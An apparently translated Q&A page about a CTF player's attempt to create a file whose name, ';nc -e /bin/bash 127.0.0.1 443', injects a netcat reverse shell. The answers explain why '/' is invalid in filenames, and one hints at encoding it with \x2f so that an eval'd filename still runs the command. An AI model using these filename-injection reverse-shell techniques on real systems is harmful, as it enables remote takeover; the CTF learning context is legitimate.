从文件名中转义“/bin/bash”

从文件名中转义“/bin/bash”

我正在玩 CTF,我想;nc -e /bin/bash 127.0.0.1 443使用命令 touch 创建一个具有名称的文件,但失败了。

我可以创建一个名为的文件,;nc -e 127.0.0.1 443没有问题,编写类似的内容touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3,但我不能包含,/bin/bash即使我做了类似的touch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3响应touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory

我做错了什么?

答案1

Unix 上的文件名不能包含该字符,/因为这是路径分隔符。

路径名

;nc -e /bin/bash 127.0.0.1 443

bash 127.0.0.1 443将引用目录 中调用的文件bin,该文件又是 的子目录;nc -e(末尾有一个空格)。

/字符是 Unix 文件名中仅有的两个不允许使用的字符之一。另一个是 nul 字符(ASCII 0 或\0)。文件名中不允许使用 nul 字符,因为它是字符串终止符。

另请注意,单引号复杂的文件名比转义所需的符号更容易:

touch ';nc -e 127.0.0.1 443'

答案2

我想;nc -e /bin/bash 127.0.0.1 443使用命令 touch创建一个名为的文件

文件名是否将eval作为其他脚本的一部分?

在这种情况下,您可能需要找到$'...'引用或printf有用的形式:

$ echo $'\x2fbin\x2fbash'
/bin/bash
$ printf "\x2fbin\x2fbash"
/bin/bash

现在我将把它作为练习来弄清楚如何在文件名中使用它们。

相关内容